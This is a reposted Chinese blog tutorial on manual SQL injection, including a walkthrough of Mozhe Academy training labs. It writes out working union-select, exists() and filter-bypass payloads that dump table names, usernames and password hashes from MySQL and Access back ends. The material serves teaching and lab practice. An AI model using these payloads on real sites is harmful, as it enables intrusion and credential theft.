手工注入流程
?
Sql注入:
就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執(zhí)行惡意的SQL命令。通過構造惡意的輸入,使數據庫執(zhí)行惡意命令,造成數據泄露或者修改內容等,以達到攻擊的目的。主要是由于應用程序對用戶的輸入沒有進行嚴格的過濾而造成的。
一、萬能密碼
在說sql注入分類之前,先來看一下萬能密碼的構成原理。萬能密碼是由于某些程序,通過采用判斷sql語句查詢結果的值是否大于0,來判斷用戶輸入數據的正確性造成的。當查詢之大于0時,代表用戶存在,返回true,代表登錄成功,否則返回false 代表登錄失敗。由于 ‘or 1=1--' 在執(zhí)行后,結果始終為1,所以可以登錄成功。因此,被稱為萬能密碼。
二、注入的分類
注入的分類:數字型和字符型。攻擊者目的只有一點,那就是繞過程序的限制,使用戶輸入的數據帶入數據庫執(zhí)行,利用數據庫的特殊性獲取更多的信息或者更大的權限。
1、數字型注入
當輸入的參數為整形時,如果存在注入漏洞,可以認為是數字型注入。
測試步驟:
(1) 加單引號,URL:www.text.com/text.php?id=3’
對應的sql:select * from table where id=3’ 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3?and 1=1
對應的sql:select * from table where id=3’ and 1=1 語句執(zhí)行正常,與原始頁面如任何差異;
(3) 加and 1=2,URL:www.text.com/text.php?id=3?and 1=2
對應的sql:select * from table where id=3 and 1=2 語句可以正常執(zhí)行,但是無法查詢出結果,所以返回數據與原始網頁存在差異
如果滿足以上三點,則可以判斷該URL存在數字型注入。
2、字符型注入
當輸入的參數為字符串時,稱為字符型。字符型和數字型最大的一個區(qū)別在于,數字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的。
例如數字型語句:select * from table where id =3
則字符型如下:select * from table where name=’admin’
因此,在構造payload時通過閉合單引號可以成功執(zhí)行語句:
測試步驟:
(1) 加單引號:select * from table where name=’admin’’
由于加單引號后變成三個單引號,則無法執(zhí)行,程序會報錯;
(2) 加 ’and 1=1 此時sql 語句為:select * from table where name=’admin’ and 1=1’ ,也無法進行注入,還需要通過注釋符號將其繞過;
Mysql 有三種常用注釋符:
-- 注意,這種注釋符后邊有一個空格
# 通過#進行注釋
/* */ 注釋掉符號內的內容
因此,構造語句為:select * from table where name =’admin’ and 1=1—’ 可成功執(zhí)行返回結果正確;
(3) 加and 1=2— 此時sql語句為:select * from table where name=’admin’ and 1=2 –’則會報錯
如果滿足以上三點,可以判斷該url為字符型注入。
Sql注入分類可以按照參數類型分為數字型和字符型。還有一些常見的注入分類,例如:
(1)POST:注入字段位于POST數據中;
(2)Cookie:注入字段位于Cookie數據中;
(3)延時注入:根據數據庫延時特性的注入
(4)搜索注入:注入字段在搜索的位置;
(5)base64注入:注入字符經過base64編碼后注入;
(7)錯誤注入:基于數據庫錯誤信息的響應注入;
sql注入思路:
如果作為一名黑客,根本無法知道系統(tǒng)中有哪些表,表中有哪些字段,那如何將數據庫的內容竊取出來呢?
答案是MySQL數據有一個元數據庫,它會描述整個MySQL服務器有哪些數據庫,每個數據有哪些表,每個表有哪些字段,這就相當于把自家房子有什么寶貝統(tǒng)統(tǒng)告訴別人了。
那這個元數據庫就一個根,只要抓住了這根據,沿著:
元數據庫 -> 數據庫列表->表列表->字段列表->表內容
這個樹狀分層的檢索順序,就可以將整個數據庫內容全部竊取出來,下面就跟大家演示。
?
1.找注入點(?id=XXXX)
?id=1 正常?
? ? id=1' ?錯誤
? and 1=1 ?and 1=2
說明存在數字型注入
?
2、猜字段數
union select 1
union select 1,2
....
union select 1,2,3,4 ?返回正常頁面
說明 該表中有4個字段
?
3.查詢相關內容
位置插入的預設函數;
?
user() 查看用戶?
database() ?--查看數據庫名稱 ? ?
version() --查看數據庫版本 ?
@@datadir --數據庫路徑
@@version_compile_os--操作系統(tǒng)版本 ?
system_user() --系統(tǒng)用戶名?
current_user()--當前用戶名 ?
session_user()--連接數據庫的用戶名
?
id=-1 union select 1,2,database(),4
得到數據庫名為mozhe_discuz_stormgroup
?
查詢數據庫mozhe_discuz_stormgroup中的表
id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'
?
得到stormgroup_member,notice
查看stormgroup_member字段:
id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='stormgroup_member'
id,name,password,status
?
查看notice 字段:
id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='notice'
id,title,content,time
?
我們要的數據在stormgroup_member表里面:
id=-1 union select 1,concat(name,password),4 from stormgroup_member
?
查詢數據
id=-1 union select 1,concat(name,'-',password,'-',status),3,4 from stormgroup_member
?
密碼 md5 解密:
登錄系統(tǒng) 得到key
墨者學院之XWAY科技管理系統(tǒng)V3.0手工注入
1.打開鏈接后,我試著隨便輸入一個賬號,結果,這是個JS彈窗,按’確定‘后又回到原來界面了,所以注入點不在這
看了大神的wirte up才發(fā)現,注入點在圖中這個位置,坑爹啊,我之前以為這就是動圖之類的,沒想到點開后跳轉到另外一個界面了
?
?
?
?2.從?id=1我們可可以得知這是個動態(tài)頁面,試試id=1 正常 ,?id=1' ?錯誤,and 1=1正常? and 1=2錯誤,說明存在數字型注入
3.order by 從1開始試,到5的時候出錯,得知數據庫有4列
4.id=-1 union select 1,2,3,4(注意這里要把id改為-1,原因參見sql語句union select的語法,而且空格要用/**/代替,否則返回錯誤后臺PHP可能在union select位置將空格過濾了)后發(fā)現頁面返回了
因此得知2,3列可以返回值,于是
哈哈,得到數據庫的名稱mozhe_Discuz_StormGroup和版本5.7.22-0ubuntu0.16.04.1
5.繼續(xù)爆破數據庫中的表id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'(注意這里空格還是有過濾,而且單引號也被過濾掉了,我們將table_schema='mozhe_discuz_stormgroup'改為table_schema=database()巧妙地繞過)
?
?
haha,成功得到表名StormGroup_member和notice
6.猜列名http://219.153.49.228:42360/new_list.php?id=-1/**/union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_schema=database()
?
7.直接爆字段值http://219.153.49.228:42360/new_list.php?id=-1/**/union/**/select/**/1,2,group_concat(name,id,password),4/**/from/**/StormGroup_member
8.顯然,密碼是一個md5加密,賬號mozhe
這個被禁用了
9.成功打入后臺
?三、ACCESS數據庫注入(用exit語法盲注)
http://219.153.49.228:49482/new_list.asp?id=1 and 1=1
http://219.153.49.228:49482/new_list.asp?id=1 and 1=2
?
字段數
http://219.153.49.228:49482/new_list.asp?id=1 order by 4
?
//數據庫名
//access數據庫只有表名,沒有庫名的存在,所以直接猜解表名
//and 1=2 union select 1,2,3,4 這個在mysql注入直接就回顯;但是access還要加上 from table才會回顯
//http://219.153.49.228:49482/new_list.asp?id=1 and 1=2 union select 1,2,3,4
?
表名
http://219.153.49.228:49482/new_list.asp?id=1 and exists(select * from admin)
?
看看表有幾行(幾條信息),大概看下就可,沒必要。
http://219.153.49.228:49482/new_list.asp?id=1 and (select count(*) from admin)>0
?
列名
http://219.153.49.228:49482/new_list.asp?id=1 and exists(select username from admin)
http://219.153.49.228:49482/new_list.asp?id=1 and exists(select passwd from admin)
http://219.153.49.228:49482/new_list.asp?id=1 and exists(select id from admin)
?
回顯點
//access 數據庫不需要 and 1=2 屏蔽原網頁信息,也可以顯示出信息位
http://219.153.49.228:49482/new_list.asp?id=1 union select 1,2,3,4 from admin
?
爆破
http://219.153.49.228:49482/new_list.asp?id=1 union select 1,username,passwd,4 from admin
?
轉載于:https://www.cnblogs.com/WhiteHatKevil/p/10080090.html
總結
 
                            
                        - 上一篇: spring boot 使用swagge
- 下一篇: SpringCloud从入门到进阶(九)
